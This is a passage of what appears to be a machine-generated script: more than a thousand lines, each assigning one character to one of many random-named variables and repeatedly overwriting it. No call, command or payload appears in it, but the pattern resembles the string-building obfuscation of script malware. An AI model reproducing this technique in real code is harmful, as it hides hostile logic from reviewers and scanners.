127	auqbqk = "B";
128	auqbqk = "J";
129	auqbqk = "d";
130	auqbqk = "p";
131	auqbqk = "J";
132	auqbqk = "b";
133	auqbqk = "h";
134	auqbqk = "y";
135	auqbqk = "k";
136	auqbqk = "p";
137	auqbqk = "t";
138	auqbqk = "%";
139	ihqvygokv = "L";
140	ihqvygokv = "m";
141	ihqvygokv = "Z";
142	ihqvygokv = "b";
143	ihqvygokv = "E";
144	ihqvygokv = "X";
145	ihqvygokv = "h";
146	ihqvygokv = "p";
147	ihqvygokv = "t";
148	ihqvygokv = "W";
149	ihqvygokv = "S";
150	ihqvygokv = "I";
151	ddapi = "C";
152	pqesd = "M";
153	pqesd = "E";
154	pqesd = ":";
155	eysxn = "r";
156	eysxn = "H";
157	eysxn = "G";
158	eysxn = "a";
159	eysxn = "e";
160	eysxn = "j";
161	eysxn = "g";
162	eysxn = "U";
163	eysxn = "r";
164	eysxn = "r";
165	eysxn = "h";
166	eysxn = "h";
167	eysxn = "B";
168	eysxn = "e";
169	eysxn = "q";
170	eysxn = "m";
171	eysxn = "c";
172	eysxn = "M";
173	eysxn = "m";
174	eysxn = "T";
175	eysxn = "E";
176	tdoxikdv = "P";
177	tdoxikdv = "g";
178	tdoxikdv = "X";
179	tdoxikdv = "s";
180	tdoxikdv = "c";
181	tdoxikdv = "P";
182	tdoxikdv = "h";
183	tdoxikdv = "i";
184	tdoxikdv = "O";
185	tdoxikdv = "Y";
186	tdoxikdv = "h";
187	tdoxikdv = "M";
188	tdoxikdv = "r";
189	tdoxikdv = "C";
190	tdoxikdv = "S";
191	tdoxikdv = "P";
192	tdoxikdv = "M";
193	tdoxikdv = "K";
194	tdoxikdv = "v";
195	tdoxikdv = "x";
196	tdoxikdv = "E";
197	tdoxikdv = "w";
198	tdoxikdv = "C";
199	tdoxikdv = "J";
200	tdoxikdv = "A";
201	tdoxikdv = "u";
202	tdoxikdv = "P";
203	tdoxikdv = "m";
204	tdoxikdv = "Q";
205	tdoxikdv = "_";
206	fnnltofax = "d";
207	fnnltofax = "c";
208	fnnltofax = "q";
209	fnnltofax = "b";
210	fnnltofax = "E";
211	fnnltofax = "T";
212	fnnltofax = "e";
213	fnnltofax = "M";
214	fnnltofax = "K";
215	fnnltofax = "m";
216	fnnltofax = "R";
217	fnnltofax = "w";
218	fnnltofax = "e";
219	fnnltofax = "y";
220	fnnltofax = "r";
221	fnnltofax = "w";
222	fnnltofax = "O";
223	fnnltofax = "I";
224	fnnltofax = "w";
225	fnnltofax = "C";
226	fnnltofax = "R";
227	fnnltofax = "d";
228	fnnltofax = "Q";
229	fnnltofax = "D";
230	fnnltofax = "A";
231	fnnltofax = "5";
232	nbhlstclo = "B";
233	nbhlstclo = "W";
234	nbhlstclo = "C";
235	nbhlstclo = "r";
236	nbhlstclo = "x";
237	nbhlstclo = "Y";
238	nbhlstclo = "F";
239	nbhlstclo = "B";
240	nbhlstclo = "Z";
241	nbhlstclo = "L";
242	nbhlstclo = "B";
243	nbhlstclo = "H";
244	nbhlstclo = "N";
245	nbhlstclo = "a";
246	nbhlstclo = "j";
247	nbhlstclo = "O";
248	nbhlstclo = "H";
249	nbhlstclo = "X";
250	nbhlstclo = "f";
251	nbhlstclo = "K";
252	nbhlstclo = "I";
253	nbhlstclo = "y";
254	nbhlstclo = "w";
255	nbhlstclo = "V";
256	nbhlstclo = "z";
257	nbhlstclo = "K";
258	nbhlstclo = "Y";
259	akfsrf = "c";
260	akfsrf = "z";
261	akfsrf = "S";
262	akfsrf = "C";
263	akfsrf = "B";
264	akfsrf = "m";
265	akfsrf = "O";
266	akfsrf = "M";
267	akfsrf = "M";
268	akfsrf = "W";
269	akfsrf = "r";
270	akfsrf = "v";
271	akfsrf = "U";
272	akfsrf = "d";
273	akfsrf = "g";
274	akfsrf = "E";
275	akfsrf = "s";
276	akfsrf = "x";
277	akfsrf = "p";
278	akfsrf = "h";
279	akfsrf = "c";
280	akfsrf = "l";
281	akfsrf = "P";
282	akfsrf = "J";
283	akfsrf = "Y";
284	akfsrf = "X";
285	akfsrf = "y";
286	akfsrf = "p";
287	akfsrf = "g";
288	akfsrf = "A";
289	akfsrf = "k";
290	akfsrf = "p";
291	akfsrf = "1";
292	dkbyinku = "g";
293	dkbyinku = "o";
294	dkbyinku = "Q";
295	dkbyinku = "O";
296	dkbyinku = "a";
297	dkbyinku = "N";
298	dkbyinku = "d";
299	dkbyinku = "Y";
300	dkbyinku = "L";
301	dkbyinku = "f";
302	dkbyinku = "X";
303	dkbyinku = "u";
304	dkbyinku = "d";
305	dkbyinku = "u";
306	dkbyinku = "a";
307	dkbyinku = "w";
308	dkbyinku = "i";
309	dkbyinku = "t";
310	dkbyinku = "Q";
311	dkbyinku = "q";
312	dkbyinku = "Q";
313	dkbyinku = "K";
314	dkbyinku = "F";
315	dkbyinku = "i";
316	dkbyinku = "T";
317	dkbyinku = "u";
318	dkbyinku = "F";
319	dkbyinku = "Z";
320	dkbyinku = "z";
321	dkbyinku = "s";
322	dkbyinku = "G";
323	dkbyinku = "p";
324	dkbyinku = "Y";
325	dkbyinku = "u";
326	dkbyinku = "U";
327	ztrdtypj = "G";
328	ztrdtypj = "R";
329	ztrdtypj = "G";
330	ztrdtypj = "u";
331	ztrdtypj = "z";
332	ztrdtypj = "l";
333	ztrdtypj = "t";
334	momigpqpx = "d";
335	momigpqpx = "i";
336	momigpqpx = "J";
337	momigpqpx = "O";
338	momigpqpx = "f";
339	momigpqpx = "Q";
340	momigpqpx = "Y";
341	momigpqpx = "s";
342	momigpqpx = "F";
343	momigpqpx = "E";
344	momigpqpx = "b";
345	momigpqpx = "g";
346	momigpqpx = "k";
347	momigpqpx = "Y";
348	momigpqpx = "i";
349	momigpqpx = "r";
350	momigpqpx = "G";
351	momigpqpx = "r";
352	momigpqpx = "y";
353	momigpqpx = "U";
354	momigpqpx = "M";
355	momigpqpx = "A";
356	momigpqpx = "q";
357	momigpqpx = "P";
358	momigpqpx = "f";
359	momigpqpx = "K";
360	momigpqpx = "G";
361	momigpqpx = "i";
362	momigpqpx = "j";
363	momigpqpx = "9";
364	xousctubk = "E";
365	xousctubk = "X";
366	xousctubk = "S";
367	xousctubk = "s";
368	xousctubk = "G";
369	xousctubk = "B";
370	xousctubk = "f";
371	xousctubk = "U";
372	xousctubk = "k";
373	xousctubk = "x";
374	xousctubk = "H";
375	xousctubk = "P";
376	xousctubk = "X";
377	xousctubk = "M";
378	xousctubk = "P";
379	xousctubk = "H";
380	xousctubk = "Y";
381	xousctubk = "F";
382	xousctubk = "V";
383	xousctubk = "S";
384	xousctubk = "U";
385	xousctubk = "k";
386	xousctubk = "f";
387	xousctubk = "M";
388	xousctubk = "x";
389	xousctubk = "H";
390	xousctubk = "a";
391	xousctubk = "Y";
392	xousctubk = "M";
393	xousctubk = "V";
394	xousctubk = "X";
395	xousctubk = "U";
396	xousctubk = "N";
397	xousctubk = "8";
398	ysbsxb = "V";
399	ysbsxb = "m";
400	ysbsxb = "n";
401	ysbsxb = "t";
402	ysbsxb = "d";
403	ysbsxb = "e";
404	ysbsxb = "C";
405	ysbsxb = "T";
406	ysbsxb = "j";
407	ysbsxb = "g";
408	ysbsxb = "Z";
409	ysbsxb = "J";
410	ysbsxb = "Q";
411	ysbsxb = "H";
412	ysbsxb = "W";
413	ysbsxb = "D";
414	ysbsxb = "v";
415	ysbsxb = "H";
416	ysbsxb = "i";
417	ysbsxb = "Q";
418	ysbsxb = "j";
419	ysbsxb = "X";
420	ysbsxb = "d";
421	ysbsxb = "H";
422	ysbsxb = "C";
423	ysbsxb = "M";
424	ysbsxb = "f";
425	ysbsxb = "H";
426	ysbsxb = "Z";
427	ysbsxb = "a";
428	ysbsxb = "P";
429	ysbsxb = "N";
430	ysbsxb = "w";
431	ysbsxb = "Q";
432	ysbsxb = "h";
433	ysbsxb = "Q";
434	ysbsxb = "S";
435	cfjhpvob = "d";
436	cfjhpvob = "S";
437	cfjhpvob = "m";
438	cfjhpvob = "B";
439	cfjhpvob = "M";
440	cfjhpvob = "H";
441	cfjhpvob = "G";
442	cfjhpvob = "C";
443	cfjhpvob = "i";
444	cfjhpvob = "u";
445	cfjhpvob = "N";
446	cfjhpvob = "G";
447	cfjhpvob = "c";
448	cfjhpvob = "g";
449	cfjhpvob = "C";
450	cfjhpvob = "H";
451	cfjhpvob = "K";
452	cfjhpvob = "V";
453	cfjhpvob = "u";
454	cfjhpvob = "x";
455	lmtznclj = "o";
456	lmtznclj = "T";
457	lmtznclj = "a";
458	lmtznclj = "r";
459	lmtznclj = "G";
460	lmtznclj = "B";
461	lmtznclj = "V";
462	lmtznclj = "z";
463	lmtznclj = "X";
464	lmtznclj = "r";
465	lmtznclj = "G";
466	lmtznclj = "E";
467	lmtznclj = "t";
468	lmtznclj = "J";
469	lmtznclj = "f";
470	lmtznclj = "p";
471	lmtznclj = "A";
472	lmtznclj = "d";
473	lmtznclj = "Y";
474	lmtznclj = "R";
475	lmtznclj = "i";
476	lmtznclj = "r";
477	lmtznclj = "p";
478	lmtznclj = "s";
479	lmtznclj = "r";
480	lmtznclj = "o";
481	lmtznclj = "S";
482	lmtznclj = "D";
483	lmtznclj = "y";
484	lmtznclj = "m";
485	lmtznclj = "N";
486	lmtznclj = "G";
487	lmtznclj = "p";
488	lmtznclj = "E";
489	lmtznclj = "b";
490	lmtznclj = "g";
491	lmtznclj = "x";
492	lmtznclj = "K";
493	lmtznclj = "q";
494	lmtznclj = "\"";
495	lvkwog = "g";
496	lvkwog = "C";
497	lvkwog = "f";
498	lvkwog = "r";
499	lvkwog = "g";
500	lvkwog = "B";
501	lvkwog = "t";
502	lvkwog = "z";
503	lvkwog = "J";
504	lvkwog = "V";
505	lvkwog = "O";
506	lvkwog = "o";
507	lvkwog = "F";
508	lvkwog = "A";
509	lvkwog = "W";
510	lvkwog = "Q";
511	lvkwog = "c";
512	lvkwog = "G";
513	lvkwog = "G";
514	lvkwog = "n";
515	lvkwog = "S";
516	lvkwog = "t";
517	lvkwog = "r";
518	lvkwog = "O";
519	lvkwog = "n";
520	lvkwog = "S";
521	lvkwog = "e";
522	lvkwog = "h";
523	lvkwog = "C";
524	lvkwog = "X";
525	lvkwog = "c";
526	lvkwog = "H";
527	lvkwog = "e";
528	lvkwog = "u";
529	lvkwog = "v";
530	lvkwog = "G";
531	lvkwog = "x";
532	lvkwog = "O";
533	lvkwog = "A";
534	lvkwog = "F";
535	uiurj = "f";
536	uiurj = "T";
537	uiurj = "Z";
538	uiurj = "h";
539	uiurj = "l";
540	uiurj = "J";
541	uiurj = "h";
542	uiurj = "X";
543	uiurj = "u";
544	uiurj = "J";
545	uiurj = "x";
546	uiurj = "f";
547	uiurj = "S";
548	uiurj = "u";
549	uiurj = "F";
550	uiurj = "T";
551	uiurj = "U";
552	uiurj = "4";
553	gdnohn = "x";
554	gdnohn = "n";
555	gdnohn = "y";
556	gdnohn = "G";
557	gdnohn = "n";
558	gdnohn = "o";
559	gdnohn = "E";
560	gdnohn = "g";
561	gdnohn = "P";
562	gdnohn = ".";
563	lflelb = "J";
564	lflelb = "c";
565	lflelb = "B";
566	lflelb = "O";
567	lflelb = "c";
568	lflelb = "j";
569	lflelb = "e";
570	lflelb = "d";
571	lflelb = "S";
572	lflelb = "f";
573	lflelb = "v";
574	lflelb = "Z";
575	lflelb = "s";
576	lflelb = "c";
577	lflelb = "F";
578	lflelb = "l";
579	lflelb = "Y";
580	lflelb = "R";
581	lflelb = "U";
582	lflelb = "l";
583	lflelb = "i";
584	lflelb = "p";
585	lflelb = "B";
586	lflelb = "V";
587	lflelb = "C";
588	lflelb = "g";
589	lflelb = "Q";
590	lflelb = "b";
591	lflelb = "j";
592	lflelb = "Q";
593	lflelb = "w";
594	lflelb = "u";
595	lflelb = "O";
596	lflelb = "g";
597	lflelb = "d";
598	lflelb = "O";
599	lflelb = "m";
600	lflelb = "Y";
601	lflelb = "x";
602	lflelb = "t";
603	lflelb = "D";
604	lflelb = "Y";
605	lflelb = "j";
606	sbpikukpk = "x";
607	sbpikukpk = "z";
608	sbpikukpk = "o";
609	sbpikukpk = "u";
610	sbpikukpk = "W";
611	sbpikukpk = "f";
612	sbpikukpk = "b";
613	sbpikukpk = "M";
614	sbpikukpk = "z";
615	sbpikukpk = "Y";
616	sbpikukpk = "k";
617	sbpikukpk = "O";
618	sbpikukpk = "H";
619	sbpikukpk = "r";
620	sbpikukpk = "P";
621	sbpikukpk = "H";
622	sbpikukpk = "T";
623	jfujnr = "p";
624	jfujnr = "b";
625	jfujnr = "P";
626	jfujnr = "J";
627	jfujnr = "W";
628	jfujnr = "e";
629	jfujnr = "s";
630	jfujnr = "c";
631	jfujnr = "N";
632	jfujnr = "Z";
633	jfujnr = "e";
634	urljat = "z";
635	urljat = "F";
636	urljat = "f";
637	urljat = "z";
638	urljat = "z";
639	urljat = "h";
640	urljat = "m";
641	urljat = "A";
642	urljat = "Y";
643	urljat = "N";
644	urljat = "g";
645	urljat = "w";
646	urljat = "i";
647	urljat = "K";
648	urljat = "p";
649	urljat = "L";
650	urljat = "p";
651	tamdlohc = "m";
652	tamdlohc = "J";
653	tamdlohc = "a";
654	tamdlohc = "N";
655	tamdlohc = "i";
656	tamdlohc = "v";
657	tamdlohc = "b";
658	tamdlohc = "H";
659	tamdlohc = "N";
660	tamdlohc = "W";
661	tamdlohc = "F";
662	tamdlohc = "s";
663	tamdlohc = "r";
664	tamdlohc = "i";
665	tamdlohc = "t";
666	tamdlohc = "K";
667	tamdlohc = "q";
668	tamdlohc = "Z";
669	tamdlohc = "y";
670	tamdlohc = "I";
671	tamdlohc = "O";
672	tamdlohc = "b";
673	tamdlohc = "G";
674	tamdlohc = "K";
675	tamdlohc = "D";
676	tamdlohc = "D";
677	tamdlohc = "R";
678	voxcocht = "T";
679	voxcocht = "M";
680	voxcocht = "O";
681	voxcocht = "r";
682	voxcocht = "w";
683	voxcocht = "s";
684	voxcocht = "q";
685	voxcocht = "P";
686	voxcocht = "s";
687	voxcocht = "B";
688	voxcocht = "E";
689	voxcocht = "P";
690	voxcocht = "x";
691	voxcocht = "f";
692	voxcocht = "M";
693	voxcocht = "L";
694	voxcocht = "L";
695	voxcocht = "U";
696	voxcocht = "u";
697	voxcocht = "Z";
698	voxcocht = "h";
699	voxcocht = "h";
700	voxcocht = "k";
701	voxcocht = "k";
702	voxcocht = "v";
703	voxcocht = "u";
704	voxcocht = "q";
705	voxcocht = "d";
706	voxcocht = "i";
707	voxcocht = "g";
708	voxcocht = "P";
709	voxcocht = "v";
710	voxcocht = "o";
711	rpivyh = "x";
712	rpivyh = "Y";
713	rpivyh = "Z";
714	rpivyh = "u";
715	rpivyh = "l";
716	rpivyh = "v";
717	vtjncrrus = "o";
718	vtjncrrus = "V";
719	vtjncrrus = "u";
720	vtjncrrus = "C";
721	vtjncrrus = "X";
722	vtjncrrus = "R";
723	vtjncrrus = "b";
724	vtjncrrus = "C";
725	vtjncrrus = "r";
726	vtjncrrus = "G";
727	vtjncrrus = "W";
728	vtjncrrus = "p";
729	vtjncrrus = "Y";
730	vtjncrrus = "Y";
731	vtjncrrus = "u";
732	vtjncrrus = "P";
733	vtjncrrus = "v";
734	vtjncrrus = "v";
735	vtjncrrus = "T";
736	vtjncrrus = "V";
737	vtjncrrus = "N";
738	vtjncrrus = "s";
739	vtjncrrus = "j";
740	vtjncrrus = "F";
741	vtjncrrus = "U";
742	vtjncrrus = "u";
743	vtjncrrus = "V";
744	vtjncrrus = "L";
745	vtjncrrus = "S";
746	vtjncrrus = "Q";
747	fuqzfb = "T";
748	fuqzfb = "Q";
749	fuqzfb = "z";
750	fuqzfb = "N";
751	fuqzfb = "D";
752	fuqzfb = "n";
753	fuqzfb = "h";
754	fuqzfb = "T";
755	fuqzfb = "m";
756	fuqzfb = "j";
757	fuqzfb = "p";
758	fuqzfb = "v";
759	fuqzfb = "O";
760	fuqzfb = "E";
761	fuqzfb = "G";
762	fuqzfb = "x";
763	fuqzfb = "t";
764	fuqzfb = "C";
765	fuqzfb = "H";
766	fuqzfb = "-";
767	uutkhqhr = "C";
768	uutkhqhr = "t";
769	uutkhqhr = "o";
770	uutkhqhr = "f";
771	uutkhqhr = "v";
772	uutkhqhr = "Z";
773	uutkhqhr = "C";
774	uutkhqhr = "J";
775	uutkhqhr = "K";
776	uutkhqhr = "w";
777	uutkhqhr = "V";
778	uutkhqhr = "F";
779	uutkhqhr = "o";
780	uutkhqhr = "R";
781	uutkhqhr = "a";
782	uutkhqhr = "u";
783	uutkhqhr = "D";
784	uutkhqhr = "Z";
785	uutkhqhr = "d";
786	uutkhqhr = "j";
787	uutkhqhr = "E";
788	uutkhqhr = "T";
789	uutkhqhr = "u";
790	uutkhqhr = "x";
791	uutkhqhr = "o";
792	uutkhqhr = "p";
793	uutkhqhr = "F";
794	uutkhqhr = "D";
795	uutkhqhr = "c";
796	uutkhqhr = "B";
797	uutkhqhr = "L";
798	uutkhqhr = "E";
799	uutkhqhr = "r";
800	prfbtg = "d";
801	prfbtg = "z";
802	prfbtg = "v";
803	prfbtg = "L";
804	prfbtg = "X";
805	prfbtg = "T";
806	prfbtg = "j";
807	prfbtg = "Z";
808	prfbtg = "w";
809	prfbtg = "B";
810	prfbtg = "a";
811	prfbtg = "f";
812	prfbtg = "O";
813	prfbtg = "C";
814	prfbtg = "O";
815	prfbtg = "c";
816	prfbtg = "N";
817	prfbtg = "H";
818	prfbtg = "A";
819	prfbtg = "U";
820	prfbtg = "e";
821	prfbtg = "d";
822	prfbtg = "U";
823	prfbtg = "P";
824	prfbtg = "b";
825	prfbtg = "Q";
826	prfbtg = "b";
827	prfbtg = "J";
828	prfbtg = "r";
829	prfbtg = " ";
830	towxsan = "z";
831	towxsan = "R";
832	towxsan = "y";
833	towxsan = "D";
834	towxsan = "o";
835	towxsan = "x";
836	towxsan = "I";
837	towxsan = "S";
838	towxsan = "h";
839	towxsan = "b";
840	towxsan = "q";
841	towxsan = "W";
842	towxsan = "B";
843	towxsan = "l";
844	towxsan = "f";
845	towxsan = "R";
846	towxsan = "m";
847	towxsan = "h";
848	towxsan = "r";
849	towxsan = "n";
850	towxsan = "a";
851	towxsan = "0";
852	vyvvgbyfs = "l";
853	vyvvgbyfs = "p";
854	vyvvgbyfs = "d";
855	vyvvgbyfs = "d";
856	vyvvgbyfs = "v";
857	vyvvgbyfs = "l";
858	vyvvgbyfs = "W";
859	vyvvgbyfs = "x";
860	vyvvgbyfs = "V";
861	vyvvgbyfs = "E";
862	vyvvgbyfs = "D";
863	vyvvgbyfs = "W";
864	vyvvgbyfs = "N";
865	vyvvgbyfs = "B";
866	vyvvgbyfs = "m";
867	vyvvgbyfs = "z";
868	vyvvgbyfs = "c";
869	vyvvgbyfs = "b";
870	vyvvgbyfs = "V";
871	vyvvgbyfs = "D";
872	vyvvgbyfs = "w";
873	vyvvgbyfs = "D";
874	vyvvgbyfs = "t";
875	vyvvgbyfs = "I";
876	vyvvgbyfs = "O";
877	vyvvgbyfs = "k";
878	vyvvgbyfs = "s";
879	vyvvgbyfs = "k";
880	vyvvgbyfs = "P";
881	vyvvgbyfs = "q";
882	vyvvgbyfs = "k";
883	vyvvgbyfs = "k";
884	vyvvgbyfs = "X";
885	vyvvgbyfs = "y";
886	vyvvgbyfs = "j";
887	vyvvgbyfs = "Y";
888	vyvvgbyfs = "w";
889	vyvvgbyfs = "Z";
890	vyvvgbyfs = "p";
891	vyvvgbyfs = "I";
892	vyvvgbyfs = "v";
893	vyvvgbyfs = "c";
894	betuz = "F";
895	betuz = "P";
896	betuz = "b";
897	betuz = "m";
898	betuz = "r";
899	betuz = "k";
900	betuz = "R";
901	betuz = "j";
902	betuz = "h";
903	betuz = "H";
904	gybwltbj = "t";
905	gybwltbj = "Y";
906	gybwltbj = "d";
907	gybwltbj = "a";
908	gybwltbj = "s";
909	gybwltbj = "i";
910	gybwltbj = "h";
911	gybwltbj = "C";
912	gybwltbj = "J";
913	gybwltbj = "q";
914	gybwltbj = "g";
915	gybwltbj = "m";
916	gybwltbj = "x";
917	gybwltbj = "T";
918	gybwltbj = "q";
919	gybwltbj = "t";
920	gybwltbj = "B";
921	gybwltbj = "B";
922	gybwltbj = "q";
923	gybwltbj = "I";
924	gybwltbj = "p";
925	gybwltbj = "h";
926	gybwltbj = "m";
927	gybwltbj = "c";
928	gybwltbj = "Q";
929	gybwltbj = "J";
930	gybwltbj = "G";
931	gybwltbj = "D";
932	gybwltbj = "U";
933	gybwltbj = "G";
934	gybwltbj = "O";
935	gybwltbj = "s";
936	irampo = "w";
937	irampo = "e";
938	irampo = "q";
939	irampo = "t";
940	irampo = "V";
941	irampo = "G";
942	irampo = "S";
943	irampo = "L";
944	irampo = "C";
945	irampo = "B";
946	irampo = "l";
947	egxbako = "F";
948	egxbako = "L";
949	egxbako = "s";
950	egxbako = "Q";
951	egxbako = "z";
952	egxbako = "s";
953	egxbako = "V";
954	egxbako = "X";
955	egxbako = "g";
956	egxbako = "x";
957	egxbako = "A";
958	egxbako = "u";
959	egxbako = "V";
960	egxbako = "N";
961	egxbako = "c";
962	egxbako = "R";
963	egxbako = "N";
964	egxbako = "Z";
965	egxbako = "h";
966	egxbako = "k";
967	egxbako = "L";
968	egxbako = "L";
969	egxbako = "h";
970	egxbako = "W";
971	egxbako = "K";
972	egxbako = "b";
973	frzkhugyz = "H";
974	frzkhugyz = "C";
975	frzkhugyz = "T";
976	frzkhugyz = "J";
977	frzkhugyz = "S";
978	frzkhugyz = "C";
979	frzkhugyz = "f";
980	frzkhugyz = "r";
981	frzkhugyz = "p";
982	frzkhugyz = "M";
983	frzkhugyz = "d";
984	frzkhugyz = "j";
985	frzkhugyz = "E";
986	frzkhugyz = "d";
987	frzkhugyz = "q";
988	frzkhugyz = "N";
989	frzkhugyz = "A";
990	frzkhugyz = "v";
991	frzkhugyz = "K";
992	frzkhugyz = "X";
993	frzkhugyz = "S";
994	frzkhugyz = "k";
995	frzkhugyz = "L";
996	frzkhugyz = "j";
997	frzkhugyz = "u";
998	vhbaquqd = "G";
999	vhbaquqd = "k";
1000	vhbaquqd = "b";
1001	vhbaquqd = "C";
1002	vhbaquqd = "E";
1003	vhbaquqd = "a";
1004	vhbaquqd = "y";
1005	vhbaquqd = "e";
1006	vhbaquqd = "b";
1007	vhbaquqd = "Z";
1008	vhbaquqd = "U";
1009	vhbaquqd = "d";
1010	vhbaquqd = "O";
1011	vhbaquqd = "c";
1012	vhbaquqd = "G";
1013	vhbaquqd = "F";
1014	vhbaquqd = "Y";
1015	vhbaquqd = "h";
1016	vhbaquqd = "V";
1017	vhbaquqd = "e";
1018	vhbaquqd = "C";
1019	vhbaquqd = "z";
1020	vhbaquqd = "A";
1021	vhbaquqd = "n";
1022	vhbaquqd = "l";
1023	vhbaquqd = "L";
1024	vhbaquqd = "T";
1025	vhbaquqd = "f";
1026	vhbaquqd = "j";
1027	vhbaquqd = "j";
1028	vhbaquqd = "W";
1029	vhbaquqd = "T";
1030	vhbaquqd = "F";
1031	vhbaquqd = "Q";
1032	vhbaquqd = "D";
1033	vhbaquqd = "b";
1034	vhbaquqd = "w";
1035	vhbaquqd = "a";
1036	vhbaquqd = "S";
1037	vhbaquqd = "L";
1038	raifsp = "s";
1039	raifsp = "O";
1040	raifsp = "z";
1041	raifsp = "T";
1042	raifsp = "i";
1043	raifsp = "U";
1044	raifsp = "P";
1045	raifsp = "d";
1046	raifsp = "g";
1047	raifsp = "H";
1048	raifsp = "x";
1049	raifsp = "H";
1050	raifsp = "W";
1051	vwwgbeadm = "d";
1052	vwwgbeadm = "D";
1053	vwwgbeadm = "M";
1054	vwwgbeadm = "e";
1055	vwwgbeadm = "g";
1056	vwwgbeadm = "t";
1057	vwwgbeadm = "z";
1058	vwwgbeadm = "G";
1059	vwwgbeadm = "v";
1060	vwwgbeadm = "j";
1061	vwwgbeadm = "f";
1062	vwwgbeadm = "t";
1063	vwwgbeadm = "e";
1064	vwwgbeadm = "V";
1065	vwwgbeadm = "V";
1066	vwwgbeadm = "N";
1067	vwwgbeadm = "Y";
1068	vwwgbeadm = "c";
1069	vwwgbeadm = "a";
1070	vwwgbeadm = "U";
1071	vwwgbeadm = "g";
1072	vwwgbeadm = "n";
1073	vwwgbeadm = "A";
1074	vwwgbeadm = "J";
1075	vwwgbeadm = "v";
1076	vwwgbeadm = "v";
1077	vwwgbeadm = "d";
1078	vwwgbeadm = "N";
1079	vwwgbeadm = "Z";
1080	vwwgbeadm = "C";
1081	vwwgbeadm = "D";
1082	vwwgbeadm = "B";
1083	vwwgbeadm = "G";
1084	vwwgbeadm = "x";
1085	vwwgbeadm = "s";
1086	vwwgbeadm = "N";
1087	vwwgbeadm = "V";
1088	vwwgbeadm = "i";
1089	vwwgbeadm = "w";
1090	vwwgbeadm = "h";
1091	vwwgbeadm = "R";
1092	vwwgbeadm = "k";
1093	vwwgbeadm = "O";
1094	lmbpusoc = "q";
1095	lmbpusoc = "J";
1096	lmbpusoc = "k";
1097	fmihedph = "O";
1098	fmihedph = "I";
1099	fmihedph = "Q";
1100	fmihedph = "D";
1101	fmihedph = "L";
1102	fmihedph = "x";
1103	fmihedph = "q";
1104	fmihedph = "a";
1105	xdtxjgcx = "d";
1106	xdtxjgcx = "O";
1107	xdtxjgcx = "Z";
1108	xdtxjgcx = "G";
1109	xdtxjgcx = "a";
1110	xdtxjgcx = "t";
1111	xdtxjgcx = "s";
1112	xdtxjgcx = "E";
1113	xdtxjgcx = "b";
1114	xdtxjgcx = "C";
1115	xdtxjgcx = "u";
1116	xdtxjgcx = "z";
1117	xdtxjgcx = "P";
1118	xdtxjgcx = "k";
1119	xdtxjgcx = "b";
1120	xdtxjgcx = "l";
1121	xdtxjgcx = "c";
1122	xdtxjgcx = "o";
1123	xdtxjgcx = "i";
1124	xdtxjgcx = "B";
1125	xdtxjgcx = "i";
1126	xdtxjgcx = "i";
1127	xdtxjgcx = "j";
1128	xdtxjgcx = "F";
1129	xdtxjgcx = "I";
1130	xdtxjgcx = "K";
1131	smadkqnu = "O";
1132	smadkqnu = "x";
1133	smadkqnu = "o";
1134	smadkqnu = "d";
1135	smadkqnu = "V";
1136	smadkqnu = "h";
1137	smadkqnu = "O";
1138	smadkqnu = "B";
1139	smadkqnu = "T";
1140	smadkqnu = "N";
1141	smadkqnu = "i";
1142	smadkqnu = "H";
1143	smadkqnu = "D";
1144	smadkqnu = "w";
1145	smadkqnu = "A";
1146	smadkqnu = "q";
1147	smadkqnu = "r";
1148	smadkqnu = "p";
1149	smadkqnu = "X";
1150	smadkqnu = "m";
1151	smadkqnu = "F";
1152	smadkqnu = "Z";
1153	smadkqnu = "X";
1154	smadkqnu = "T";
1155	smadkqnu = "v";
1156	smadkqnu = "n";
1157	smadkqnu = "I";
1158	smadkqnu = "v";
1159	smadkqnu = "g";
1160	smadkqnu = "F";
1161	smadkqnu = "W";
1162	smadkqnu = "t";
1163	smadkqnu = "W";
1164	smadkqnu = "M";
1165	smadkqnu = "M";
1166	smadkqnu = "j";
1167	smadkqnu = "i";
1168	ihwso = "l";
1169	ihwso = "c";
1170	ihwso = "o";
1171	ihwso = "k";
1172	ihwso = "C";
1173	ihwso = "t";
1174	ihwso = "t";
1175	ihwso = "L";
1176	ihwso = "F";
1177	ihwso = "o";
1178	ihwso = "w";
1179	ihwso = "t";
1180	ihwso = "M";
1181	ihwso = "S";
1182	ihwso = "a";
1183	ihwso = "s";
1184	ihwso = "H";
1185	ihwso = "U";
1186	ihwso = "F";
1187	ihwso = "B";
1188	ihwso = "X";
1189	ihwso = "e";
1190	ihwso = "u";
1191	ihwso = "j";
1192	ihwso = "m";
1193	ihwso = "q";
1194	ihwso = "L";
1195	ihwso = "w";
1196	ihwso = "e";
1197	ihwso = "a";
1198	ihwso = "J";
1199	ihwso = "O";
1200	ihwso = "g";
1201	ihwso = "w";
1202	ihwso = "d";
1203	bixkp = "v";
1204	bixkp = "G";
1205	bixkp = "Z";
1206	bixkp = "j";
1207	bixkp = "M";
1208	bixkp = "n";
1209	bixkp = "d";
1210	bixkp = "n";
1211	bixkp = "n";
1212	bixkp = "B";
1213	bixkp = "P";
1214	bixkp = "q";
1215	hffvmi = "V";
1216	hffvmi = "o";
1217	hffvmi = "r";
1218	hffvmi = "M";
1219	hffvmi = "B";
1220	hffvmi = "F";
1221	hffvmi = "Z";
1222	hffvmi = "u";
1223	hffvmi = "H";
1224	hffvmi = "F";
1225	hffvmi = "D";
1226	hffvmi = "o";
1227	hffvmi = "T";
1228	hffvmi = "/";
1229	eqskrur = "s";
1230	eqskrur = "M";
1231	eqskrur = "m";
1232	eqskrur = "W";
1233	eqskrur = "v";
1234	eqskrur = "F";
1235	eqskrur = "F";
1236	eqskrur = "w";
1237	eqskrur = "G";
1238	eqskrur = "c";
1239	eqskrur = "E";
1240	eqskrur = "C";
1241	eqskrur = "V";
1242	eqskrur = "l";
1243	eqskrur = "i";
1244	eqskrur = "q";
1245	eqskrur = "N";
1246	eqskrur = "B";
1247	eqskrur = "L";
1248	eqskrur = "d";
1249	eqskrur = "q";
1250	eqskrur = "o";
1251	eqskrur = "W";
1252	eqskrur = "z";
1253	eqskrur = "u";
1254	eqskrur = "V";
1255	eqskrur = "w";
1256	eqskrur = "s";
1257	eqskrur = "z";
1258	eqskrur = "G";
1259	eqskrur = "p";
1260	eqskrur = "H";
1261	eqskrur = "a";
1262	eqskrur = "g";
1263	pnnmmeomq = "V";
1264	pnnmmeomq = "H";
1265	pnnmmeomq = "u";
1266	pnnmmeomq = "P";
1267	pnnmmeomq = "Y";
1268	pnnmmeomq = "h";
1269	yrhcnb = "J";
1270	yrhcnb = "O";
1271	yrhcnb = "o";
1272	yrhcnb = "Y";
